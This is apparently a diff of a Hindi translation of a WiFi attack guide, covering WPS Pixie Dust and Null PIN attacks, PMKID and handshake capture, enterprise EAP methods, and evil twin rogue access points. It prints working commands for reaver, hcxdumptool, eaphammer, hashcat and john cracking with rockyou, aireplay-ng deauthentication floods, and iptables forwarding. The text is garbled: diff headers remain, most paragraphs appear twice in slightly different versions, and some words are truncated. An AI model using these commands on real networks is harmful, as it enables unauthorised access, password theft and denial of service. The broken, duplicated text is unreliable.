**डोमिनिक बोंगार्ड** ने कुछ एक्सेस पॉइंट्स (APs) में गुप्त कोड बनाने के संबंध में एक दोष खोजा, जिसे **नॉनसेस** (**E-S1** और **E-S2**) के रूप में जाना जाता है। यदि इन नॉनसेस का पता लगाया जा सकता है, तो AP के WPS PIN को क्रैक करना आसान हो जाता है। AP एक विशेष कोड (हैश) के भीतर PIN प्रकट करता है ताकि यह साबित हो सके कि यह वैध है और कोई नकली (रोग) AP नहीं है। ये नॉनसेस मूल रूप से "सुरक्षित" को "खोलने" के लिए "चाबियाँ" हैं जो WPS PIN को रखती हैं। इस पर अधिक जानकारी [यहाँ](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>) मिल सकती है।
**डोमिनिक बोंगार्ड** ने कुछ एक्सेस पॉइंट्स (APs) में गुप्त कोड बनाने के संबंध में एक दोष खोजा, जिसे **नॉनसेस** (**E-S1** और **E-S2**) के रूप में जाना जाता है। यदि इन नॉनसेस को समझा जा सकता है, तो AP के WPS PIN को क्रैक करना आसान हो जाता है। AP एक विशेष कोड (हैश) के भीतर PIN को प्रकट करता है ताकि यह साबित हो सके कि यह वैध है और क नकली (रोग) AP नहीं है। ये नॉनसेस मूल रूप से "सुरक्षित" को "खोलने" के लिए "चाबियाँ" हैं जो WPS PIN को रखती हैं। इस पर अधिक जानकारी [यहाँ](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>) मिल सकती है।
सरल शब्दों में, समस्या यह है कि कुछ APs ने कनेक्शन प्रक्रिया के दौरान PIN को एन्क्रिप्ट करने के लिए पर्याप्त यादृच्छिक कुंजियों का उपयोग नहीं किया। इससे PIN को नेटवर्क के बाहर से अनुमानित किया जा सकता है (ऑफलाइन ब्रूट फोर्स हमला)।
```bash
@ -224,7 +224,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin हमला
कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को एक्सेस देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोरियों का परीक्षण करने में सक्षम है, जबकि **Bully** नहीं है
कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को एक्सेस देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोरियों का परीक्षण करने में सक्षम है, जबकि **Bully** नहीं।
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
@ -234,15 +234,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
![](<../../images/image (219).png>)
- 5 और 6 आपको **आपका कस्टम PIN** आजमाने की अनुमति देते हैं (यदि आपके पास कोई है)
- 7 और 8 **Pixie Dust हमला** करते हैं
- 5 और 6 आपको **आपका कस्टम PIN** आजमाने देते हैं (यदि आपके पास कोई है)
- 7 और 8 **Pixie Dust हमले** को अंजाम देते हैं
- 13 आपको **NULL PIN** का परीक्षण करने की अनुमति देता है
- 11 और 12 **उपलब्ध डेटाबेस से चयनित AP से संबंधित PINs को पुनः प्राप्त करेंगे** और **संभावित PINs** उत्पन्न करेंगे: ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan (सिफारिश की, क्यों नहीं?)
- 11 और 12 **उपलब्ध डेटाबेस से चयनित AP से संबंधित PINs को पुनः प्राप्त करेंगे** और **संभावित PINs** उत्पन्न करेंगे: ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan (सिफारिश की गई, क्यों नहीं?)
- 9 और 10 **हर संभावित PIN** का परीक्षण करेंगे
## **WEP**
अब यह बहुत टूटा हुआ और अप्रयुक्त है। बस जान लें कि _**airgeddon**_ के पास इस प्रकार की सुरक्षा पर हमला करने के लिए "All-in-One" नाम का एक WEP विकल्प है। अधिक उपकरण समान विकल्प प्रदान करते हैं।
अब यह बहुत टूटा हुआ और अप्रयुक्त है। बस जान लें कि _**airgeddon**_ के पास इस प्रकार की सुरक्षा पर हमला करने के लिए "All-in-One" नाम का एक WEP विकल्प है। क उपकरण समान विकल्प प्रदान करते हैं।
![](<../../images/image (432).png>)
@ -254,7 +254,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID
2018 में, **hashcat** [प्रकट किया](https://hashcat.net/forum/thread-7717.html) एक नया हमला विधि, जो अद्वितीय है क्योंकि इसे केवल **एक ही पैकेट** की आवश्यकता होती है और इसे लक्ष्य AP से जुड़े किसी भी क्लाइंट की आवश्यकता नहीं होती—बस हमलावर और AP के बीच बातचीत।
2018 में, **hashcat** [ने एक नया हमला विधि](https://hashcat.net/forum/thread-7717.html) का खुलासा किया, जो अद्वितीय है क्योंकि इसे केवल **एक ही पैकेट** की आवश्यकता होती है और इसे लक्ष्य AP से जुड़े किसी भी क्लाइंट की आवश्यकता नहीं होती—बस हमलावर और AP के बीच बातचीत।
कई आधुनिक राउटर संघ के दौरान **पहले EAPOL** फ्रेम में एक **वैकल्पिक फ़ील्ड** जोड़ते हैं, जिसे `Robust Security Network` के रूप में जाना जाता है। इसमें `PMKID` शामिल है।
@ -262,7 +262,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
यह मानते हुए कि "PMK नाम" स्थिर है, हमें AP और स्टेशन का BSSID पता है, और `PMK` एक पूर्ण 4-वे हैंडशेक से समान है, **hashcat** इस जानकारी का उपयोग PSK को क्रैक करने और पासफ़्रेज़ को पुनर्प्राप्त करने के लिए कर सकता है!
"PMK नाम" स्थिर है, हमें AP और स्टेशन का BSSID पता है, और `PMK` एक पूर्ण 4-तरफा हैंडशेक से समान है, **hashcat** इस जानकारी का उपयोग करके PSK को क्रैक कर सकता है और पासफ़्रेज़ को पुनर्प्राप्त कर सकता है!
इस जानकारी को **इकट्ठा** करने और पासवर्ड को स्थानीय रूप से **ब्रूटफोर्स** करने के लिए आप कर सकते हैं:
```bash
@ -277,13 +277,13 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
कैप्चर किए गए **PMKIDs** **कंसोल** में दिखाए जाएंगे और **/tmp/attack.pcap** के अंदर भी **सहेजे** जाएंगे।\
अब, कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें:
अब कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
कृपया ध्यान दें कि एक सही हैश का प्रारूप **4 भागों** में होता है, जैसे: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` यदि आपका **केवल** **3 भाग** है, तो यह **अमान्य** है (PMKID कैप्चर मान्य नहीं था)।
कृपया ध्यान दें कि एक सही हैश का प्रारूप **4 भागों** में होता है, जैसे: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` यदि आपके प **केवल** **3 भाग** है, तो यह **अमान्य** है (PMKID कैप्चर मान्य नहीं था)।
ध्यान दें कि `hcxdumptool` **हैंडशेक भी कैप्चर करता है** (कुछ ऐसा दिखाई देगा: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)। आप **हैंडशेक** को **hashcat**/**john** प्रारूप में `cap2hccapx` का उपयोग करके **परिवर्तित** कर सकते हैं।
```bash
@ -293,11 +293,11 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_मैंने देखा है कि इस उपकरण से कैप्चर किए गए कुछ हैंडशेक को सही पासवर्ड जानने के बावजूद क्रैक नहीं किया जा सका। मैं सुझाव दूंगा कि यदि संभव हो तो पारंपरिक तरीके से भी हैंडशेक कैप्चर करें, या इस उपकरण का उपयोग करके उनमें से कई कैप्चर करें।_
_मैंने देखा है कि इस उपकरण के साथ कैप्चर किए गए कुछ हैंडशेक को सही पासवर्ड जानने के बावजूद क्रैक नहीं किया जा सका। मैं सुझाव दूंगा कि यदि संभव हो तो पारंपरिक तरीके से भी हैंडशेक कैप्चर करें, या इस उपकरण का उपयोग करके कई हैंडशेक कैप्चर करें।_
### हैंडशेक कैप्चर
**WPA/WPA2** नेटवर्क पर एक हमला **हैंडशेक** को कैप्चर करके और पासवर्ड को **ऑफलाइन** **क्रैक** करने का प्रयास करके किया जा सकता है। इस प्रक्रिया में एक विशिष्ट नेटवर्क और **BSSID**ी संचार को मॉनिटर करना शामिल है, एक विशेष **चैनल** पर। यहाँ एक संक्षिप्त गाइड है:
**WPA/WPA2** नेटवर्क पर एक हमला **हैंडशेक** को कैप्चर करके और पासवर्ड को **ऑफलाइन** **क्रैक** करने का प्रयास करके किया जा सकता है। इस प्रक्रिया में एक विशिष्ट नेटवर्क और **BSSID**े संचार की निगरानी करना शामिल है, एक विशेष **चैनल** पर। यहाँ एक संक्षिप्त मार्दर्शिका है:
1. लक्ष्य नेटवर्क का **BSSID**, **चैनल**, और एक **कनेक्टेड क्लाइंट** पहचानें।
2. निर्दिष्ट चैनल और BSSID पर नेटवर्क ट्रैफ़िक की निगरानी करने के लिए `airodump-ng` का उपयोग करें, उम्मीद है कि एक हैंडशेक कैप्चर हो सके। कमांड इस तरह दिखेगा:
@ -308,9 +308,9 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_ध्यान दें कि जब क्लाइंट को डिऑथेंटिकेट किया गया था, तो यह किसी अन्य AP से कनेक्ट करने की कोशिश कर सकता है या, अन्य मामलों में, किसी अन्य नेटवर्क से।_
_ध्यान दें कि जब क्लाइंट को डिऑथेंटिकेट किया गया, तो यह किसी अन्य AP से कनेक्ट करने की कोशिश कर सकता है या, अन्य मामलों में, किसी अन्य नेटवर्क से।_
जब `airodump-ng` में कुछ हैंडशेक जानकारी दिखाई देती है, तो इसका मतलब है कि हैंडशेक कैप्चर किया गया था और आप सुनना बंद कर सकते हैं:
जब `airodump-ng` में कुछ हैंडशेक जानकारी दिखाई देती है, तो इसका मतलब है कि हैंडशेक कैप्चर किया गया है और आप सुनना बंद कर सकते हैं:
![](<../../images/image (172) (1).png>)
@ -341,22 +341,22 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
In **एंटरप्राइज WiFi सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, प्रत्येक विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियों में शामिल हैं:
In **एंटरप्राइज वाईफाई सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, प्रत्येक विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियों में शामिल हैं:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- यह विधि हार्डवेयर टोकन और EAP-PEAP के भीतर एक-बार पासवर्ड का समर्थन करती है। MSCHAPv2 के विपरीत, यह एक पीयर चुनौती का उपयोग नहीं करती है और पासवर्ड को एक्सेस पॉइंट पर स्पष्ट रूप में भेजती है, जो डाउनग्रेड हमलों के लिए जोखिम पैदा करती है।
- यह विधि हार्डवेयर टोकन और EAP-PEAP के भीतर एक बार के पासवर्ड का समर्थन करती है। MSCHAPv2 के विपरीत, यह एक पीयर चुनौती का उपयोग नहीं करती है और पासवर्ड को एक्सेस पॉइंट पर स्पष्ट रूप में भेजती है, जो डाउनग्रेड हमलों के लिए जोखिम पैदा करती है।
2. **EAP-MD5 (Message Digest 5)**:
- इसमें क्लाइंट से पासवर्ड का MD5 हैश भेजना शामिल है। यह **सिफारिश नहीं की जाती** है क्योंकि यह शब्दकोश हमलों के प्रति संवेदनशील है, सर्वर प्रमाणीकरण की कमी है, और सत्र-विशिष्ट WEP कुंजी उत्पन्न करने में असमर्थ है।
3. **EAP-TLS (Transport Layer Security)**:
- प्रमाणीकरण के लिए क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों का उपयोग करता है और संचार को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजी को गतिशील रूप से उत्पन्न कर सकता है।
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
- एक एन्क्रिप्टेड टनल के माध्यम से आपसी प्रमाणीकरण प्रदान करता है, साथ ही उपयोगकर्ता-विशिष्ट, सत्र-विशिष्ट WEP कुंजी निकालने की विधि भी। यह केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है, जिसमें क्लाइंट क्रेडेंशियल्स का उपयोग करते हैं।
- एक एन्क्रिप्टेड टनल के माध्यम से आपसी प्रमाणीकरण प्रदान करता है, साथ ही गतिशील, प्रति-उपयोगकर्ता, प्रति-सत्र WEP कुंजी निकालने की विधि भी। यह केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है, जिसमें क्लाइंट क्रेडेंशियल्स का उपयोग करते हैं।
5. **PEAP (Protected Extensible Authentication Protocol)**:
- यह EAP के समान कार्य करता है, सुरक्षित संचार के लिए TLS टनल बनाता है। यह टनल द्वारा प्रदान की गई सुरक्षा के कारण EAP के शीर्ष पर कमजोर प्रमाणीकरण प्रोटोकॉल के उपयोग की अनुमति देता है।
- यह EAP के समान कार्य करता है, सुरक्षित संचार के लिए एक TLS टनल बनाता है। यह टनल द्वारा प्रदान की गई सुरक्षा के कारण EAP के शीर्ष पर कमजोर प्रमाणीकरण प्रोटोकॉल के उपयोग की अनुमति देता है।
- **PEAP-MSCHAPv2**: अक्सर PEAP के रूप में संदर्भित, यह संवेदनशील MSCHAPv2 चुनौती/प्रतिक्रिया तंत्र को एक सुरक्षात्मक TLS टनल के साथ जोड़ता है।
- **PEAP-EAP-TLS (या PEAP-TLS)**: EAP-TLS के समान है लेकिन प्रमाणपत्रों का आदान-प्रदान करने से पहले TLS टनल शुरू करता है, जो सुरक्षा की एक अतिरिक्त परत प्रदान करता है।
- **PEAP-EAP-TLS (या PEAP-TLS)**: EAP-TLS के समान है लेकिन प्रमाणपत्रों का आदान-प्रदान करने से पहले एक TLS टनल शुरू करता है, जो सुरक्षा की एक अतिरिक्त परत प्रदान करता है।
आप इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी [यहां](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) और [यहां](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) प्राप्त कर सकते हैं।
@ -376,14 +376,14 @@ In **एंटरप्राइज WiFi सेटअप में, आप व
- EAP-Identity = anonymous
- इस परिदृश्य में, सभी उपयोगकर्ता अपने उपयोगकर्ता पहचानकर्ता के रूप में उपनाम "anonymous" का उपयोग करते हैं। प्रारंभिक RADIUS सर्वर या तो EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य करता है, जो PEAP या TTLS प्रोटोकॉल के सर्वर-साइड का प्रबंधन करता है। आंतरिक (सुरक्षित) प्रमाणीकरण विधि फिर या तो स्थानीय रूप से संभाली जाती है या एक दूरस्थ (होम) RADIUS सर्वर को सौंप दी जाती है।
- EAP-Identity = anonymous@realm_x
- इस स्थिति में, विभिन्न क्षेत्रों के उपयोगकर्ता अपनी पहचान छिपाते हैं जबकि अपने संबंधित क्षेत्रों का संकेत देते हैं। यह प्रारंभिक RADIUS सर्वर को EAP-PEAP या EAP-TTLS अनुरोधों को उनके होम क्षेत्रों में RADIUS सर्वरों को प्रॉक्सी करने की अनुमति देता है, जो PEAP या TTLS सर्वर के रूप में कार्य करते हैं। प्रारंभिक RADIUS सर्वर केवल एक RADIUS रिले नोड के रूप में कार्य करता है।
- इस स्थिति में, विभिन्न क्षेत्रों के उपयोगकर्ता अपनी पहचान छिपाते हैं जबकि अपने संबंधित क्षेत्रों को इंगित करते हैं। यह प्रारंभिक RADIUS सर्वर को EAP-PEAP या EAP-TTLS अनुरोधों को उनके होम क्षेत्रों में RADIUS सर्वरों को प्रॉक्सी करने की अनुमति देता है, जो PEAP या TTLS सर्वर के रूप में कार्य करते हैं। प्रारंभिक RADIUS सर्वर केवल एक RADIUS रिले नोड के रूप में कार्य करता है।
- वैकल्पिक रूप से, प्रारंभिक RADIUS सर्वर EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य कर सकता है और या तो सुरक्षित प्रमाणीकरण विधि को संभाल सकता है या इसे किसी अन्य सर्वर को अग्रेषित कर सकता है। यह विकल्प विभिन्न क्षेत्रों के लिए विशिष्ट नीतियों को कॉन्फ़िगर करने की सुविधा प्रदान करता है।
EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाती है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी ईव्सड्रॉपिंग करने वाले को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है।
EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाती है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी व्यक्ति को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है।
EAP-TTLS एक थोड़ी अलग प्रक्रिया का पालन करता है। EAP-TTLS के साथ, क्लाइंट आमतौर पर PAP या CHAP का उपयोग करके प्रमाणीकरण करता है, जो TLS टनल द्वारा सुरक्षित होता है। इस मामले में, क्लाइंट प्रारंभिक TLS संदेश में User-Name विशेषता और या तो Password या CHAP-Password विशेषता शामिल करता है जो टनल स्थापना के बाद भेजा जाता है।
EAP-TTLS एक थोड़ी अलग प्रक्रिया का पालन करता है। EAP-TTLS के साथ, क्लाइंट आमतौर पर PAP या CHAP का उपयोग करके प्रमाणीकरण करता है, जो TLS टनल द्वारा सुरक्षित होता है। इस मामले में, क्लाइंट प्रारंभिक TLS संदेश में एक User-Name विशेषता और या तो एक Password या CHAP-Password विशेषता शामिल करता है जो टनल स्थापना के बाद भेजा जाता है।
चाहे जो भी प्रोटोकॉल चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या केवल user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब उसके पास उपयोगकर्ता की पहचान होती है और वह TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। जहां सुरक्षित प्रमाणीकरण विधि EAP है, वहां आंतरिक EAP संदेशों को होम RADIUS सर्वर पर EAP-PEAP या EAP-TTLS आवरण के बिना भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से गुमनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (जो केवल TTLS द्वारा समर्थित है) होती है, तो TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताएँ आउटगोइंग RADIUS संदेश में प्रतिस्थापित की जाती हैं, जो आने वाले RADIUS अनुरोध में पाए गए गुमनाम User-Name और TTLS EAP-Message विशेषताओं को विस्थापित करती हैं।
चाहे कोई भी प्रोटोकॉल चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या केवल user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब यह उपयोगकर्ता की पहचान रखता है और TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। जहां सुरक्षित प्रमाणीकरण विधि EAP है, वहां आंतरिक EAP संदेशों को होम RADIUS सर्वर पर बिना EAP-PEAP या EAP-TTLS आवरण के भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से गुमनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (जो केवल TTLS द्वारा समर्थित है) होती है, तो TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताएँ आउटगोइंग RADIUS संदेश में प्रतिस्थापित की जाती हैं, जो आने वाले RADIUS अनुरोध में गुमनाम User-Name और TTLS EAP-Message विशेषताओं को विस्थापित करती हैं।
अधिक जानकारी के लिए देखें [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@ -406,25 +406,25 @@ EAP-TTLS एक थोड़ी अलग प्रक्रिया का प
### Network Selection and Roaming
- 802.11 प्रोटोकॉल यह परिभाषित करता है कि एक स्टेशन Extended Service Set (ESS) में कैसे शामिल होता है, लेकिन यह ESS या इसके भीतर एक access point (AP) चुनने के लिए मानदंड निर्दिष्ट नहीं करता है।
- स्टेशन एक ही ESSID साझा करने वाले APs के बीच घूम सकते हैं, एक भवन या क्षेत्र में कनेक्टिविटी बनाए रखते हुए
- स्टेशन एक ही ESSID साझा करने वाले APs के बीच घूम सकते हैं, जिससे एक भवन या क्षेत्र में कनेक्टिविटी बनाए रखी जा सके
- प्रोटोकॉल ESS के लिए स्टेशन प्रमाणीकरण की आवश्यकता करता है लेकिन स्टेशन के लिए AP प्रमाणीकरण अनिवार्य नहीं करता है।
### Preferred Network Lists (PNLs)
- स्टेशन अपने Preferred Network List (PNL) में हर वायरलेस नेटवर्क का ESSID संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी होते हैं।
- PNL का उपयोग ज्ञात नेटवर्कों से स्वचालित रूप से कनेक्ट करने के लिए किया जाता है, जिससे उपयोगकर्ता के अनुभव में सुधार होता है और कनेक्शन प्रक्रिया को सरल बनाया जाता है।
- स्टेशन अपने Preferred Network List (PNL) में हर वायरलेस नेटवर्क का ESSID संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी शामिल होते हैं।
- PNL का उपयोग ज्ञात नेटवर्क से स्वचालित रूप से कनेक्ट करने के लिए किया जाता है, जिससे उपयोगकर्ता के अनुभव में सुधार होता है और कनेक्शन प्रक्रिया को सरल बनाया जाता है।
### Passive Scanning
- APs समय-समय पर beacon फ्रेम प्रसारित करते हैं, अपनी उपस्थिति और विशेषताओं की घोषणा करते हैं, जिसमें AP का ESSID शामिल होता है जब तक कि प्रसारण बंद न किया गया हो।
- पैसिव स्कैनिंग के दौरान, स्टेशन beacon फ्रेम के लिए सुनते हैं। यदि किसी beacon का ESSID स्टेशन के PNL में एक प्रविष्टि से मेल खाता है, तो स्टेशन स्वचालित रूप से उस AP से कनेक्ट हो सकता है।
- एक डिवाइस के PNL का ज्ञान संभावित शोषण की अनुमति देता है, एक ज्ञात नेटवर्क के ESSID की नकल करके, डिवाइस को एक धोखाधड़ी AP से कनेक्ट करने के लिए धोखा देना।
- एक डिवाइस के PNL के ज्ञान से संभावित शोषण की अनुमति मिलती है, एक ज्ञात नेटवर्क के ESSID की नकल करके, डिवाइस को एक धोखाधड़ी AP से कनेक्ट करने के लिए धोखा देना।
### Active Probing
- सक्रिय प्रोबिंग में स्टेशन पास के APs और उनकी विशेषताओं का पता लगाने के लिए प्रोब अनुरोध भेजते हैं।
- निर्देशित प्रोब अनुरोध एक विशिष्ट ESSID को लक्षित करते हैं, यह पता लगाने में मदद करते हैं कि क्या कोई विशेष नेटवर्क रेंज में है, भले ही यह एक छिपा हुआ नेटवर्क हो।
- प्रसारण प्रोब अनुरोध में एक शून्य SSID फ़ील्ड होती है और इन्हें सभी नजदीकी APs को भेजा जाता है, जिससे स्टेशन बिना अपने PNL की सामग्री का खुलासा किए किसी भी पसंदीदा नेटवर्क की जांच कर सकता है
- प्रसारण प्रोब अनुरोध में एक शून्य SSID फ़ील्ड होती है और इन्हें सभी नजदीकी APs को भेजा जाता है, जिससे स्टेशन बिना अपने PNL की सामग्री का खुलासा किए किसी भी पसंदीदा नेटवर्क की जांच कर सक
## Simple AP with redirection to Internet
@ -486,7 +486,7 @@ iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### फॉरवर्डिंग और रीडायरेक्शन
### अग्रेषण और पुनर्निर्देशन
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
@ -494,13 +494,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
An evil twin attack exploits the way WiFi clients recognize networks, primarily relying on the network name (ESSID) without requiring the base station (access point) to authenticate itself to the client. Key points include:
एक ईविल ट्विन अटैक WiFi क्लाइंट्स द्वारा नेटवर्क को पहचानने के तरीके का लाभ उठाता है, जो मुख्य रूप से नेटवर्क नाम (ESSID) पर निर्भर करता है बिना बेस स्टेशन (एक्सेस पॉइंट) को क्लाइंट के लिए प्रमाणित किए। मुख्य बिंदुओं में शामिल हैं:
- **Difficulty in Differentiation**: उपकरणों को वैध और धोखाधड़ी एक्सेस पॉइंट के बीच अंतर करने में कठिनाई होती है जब वे समान ESSID और एन्क्रिप्शन प्रकार साझा करते हैं। वास्तविक दुनिया के नेटवर्क अक्सर कवरेज को निर्बाध रूप से बढ़ाने के लिए समान ESSID के साथ कई एक्सेस पॉइंट का उपयोग करते हैं।
- **Client Roaming and Connection Manipulation**: 802.11 प्रोटोकॉल उपकरणों को एक ही ESS के भीतर एक्सेस पॉइंट के बीच घूमने की अनुमति देता है। हमलावर इसको एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभाकर भुनाने का प्रयास कर सकते हैं। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करने के तरीकों जैसे कि डिअथेंटिकेशन पैकेट या जैमिंग के माध्यम से किया जा सकता है।
- **Challenges in Execution**: कई, अच्छी तरह से रखे गए एक्सेस पॉइंट के साथ वातावरण में एक ईविल ट्विन हमले को सफलतापूर्वक निष्पादित करना चुनौतीपूर्ण हो सकता है। एकल वैध एक्सेस पॉइंट को डिअथेंटिकेट करने से अक्सर उपकरण को एक अन्य वैध एक्सेस पॉइंट से कनेक्ट करने का परिणाम होता है जब तक कि हमलावर सभी निकटवर्ती एक्सेस पॉइंट को डिअथेंटिकेट नहीं कर सकता या धोखाधड़ी एक्सेस पॉइंट को रणनीतिक रूप से नहीं रख सकता।
- **भेदभाव में कठिनाई**: उपकरणों के लिए वैध और धोखाधड़ी एक्सेस पॉइंट्स के बीच अंतर करना मुश्किल होता है जब वे समान ESSID और एन्क्रिप्शन प्रकार साझा करते हैं। वास्तविक दुनिया के नेटवर्क अक्सर कवरेज को निर्बाध रूप से बढ़ाने के लिए समान ESSID के साथ कई एक्सेस पॉइंट्स का उपयोग करते हैं।
